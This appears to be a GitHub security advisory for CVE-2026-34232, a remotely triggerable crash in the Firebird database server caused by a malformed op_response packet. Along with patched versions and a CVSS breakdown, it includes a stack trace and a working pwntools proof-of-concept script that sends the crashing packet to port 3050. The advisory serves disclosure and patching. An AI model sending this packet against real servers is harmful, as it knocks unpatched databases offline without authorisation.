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DoS via `op_response` packet from client

High
dyemanov published GHSA-7jq3-6j3c-5cm2 Apr 17, 2026

Package

No package listed

Affected versions

>=3

Patched versions

6.0, 5.0.4, 4.0.7, 3.0.14

Description

Summary

Incorrect decoding of the 'op_response' packet can cause a crash when parsing the status vector.

Details

The main problem is inside xdr_status_vector(), it doesn't handle isc_arg_cstring at all, so if an isc_arg_cstring is contained in the status vector, incorrect parsing will cause the server to crash.
Basically there is no reason to send op_response from the client, the request will be dropped later in loopThread(), but the server should not fail anyway.

Stacktrace 
#0  __memcpy_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:331
#1  0x0000555555610271 in Firebird::makeDynamicStrings (length=7, dst=0x7ffff7601cb8, src=0x7fffffffc3f8) at src/common/DynamicStrings.cpp:90
#2  0x00005555555bfa5c in Firebird::DynamicVector<20u>::save (this=0x7ffff7601cb0, length=7, status=0x7fffffffc3f8, warningMode=false) at src/include/../remote/../common/StatusHolder.h:81
#3  0x00005555555bee06 in Firebird::DynamicVector<20u>::save (this=0x7ffff7601cb0, status=0x7fffffffc3f8, warningMode=false) at src/include/../remote/../common/StatusHolder.h:118
#4  0x00005555555bc351 in xdr_status_vector (xdrs=0x7ffff7601b60, vector=@0x7ffff4bf0788: 0x7ffff7601cb0) at src/remote/protocol.cpp:2146
#5  0x00005555555b63ac in xdr_protocol (xdrs=0x7ffff7601b60, p=0x7ffff4bf0638) at src/remote/protocol.cpp:444
#6  0x00005555555a6a31 in receive (main_port=0x7ffff75f8e50, packet=0x7ffff4bf0638) at src/remote/inet.cpp:2042
#7  0x00005555555c10d0 in rem_port::receive (this=0x7ffff75f8e50, pckt=0x7ffff4bf0638) at src/remote/remote.cpp:667
#8  0x00005555555d99f4 in SRVR_multi_thread (main_port=0x7ffff75f26d0, flags=2) at src/remote/server/server.cpp:1764
#9  0x00005555555fdbfe in main (argc=1, argv=0x7fffffffd6c0) at src/remote/server/os/posix/inet_server.cpp:582

PoC

To reproduce the vulnerability, simply run the server and the Python script to emulate the malicious packet.

Python script 
from pwn import *

p32b = lambda v: p32(v, endian='big')
p = remote('localhost', 3050)

pkt  = p32b(0x09)   # op_response
pkt += b'\x00'*16   # pad
pkt += p32b(3)      # status vector tag: isc_arg_cstring
pkt += p32b(5)      # cstring length (>= 5)
pkt += b"AAAAA\x00\x00\x00"
pkt += p32b(0)

p.send(pkt)
p.interactive()
p.close()

Impact

Essentially, every server is affected.

Affected versions

Tested on v5 and v6, but code looks old, so it possible that v4 and v3 also affected.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-34232

Weaknesses

No CWEs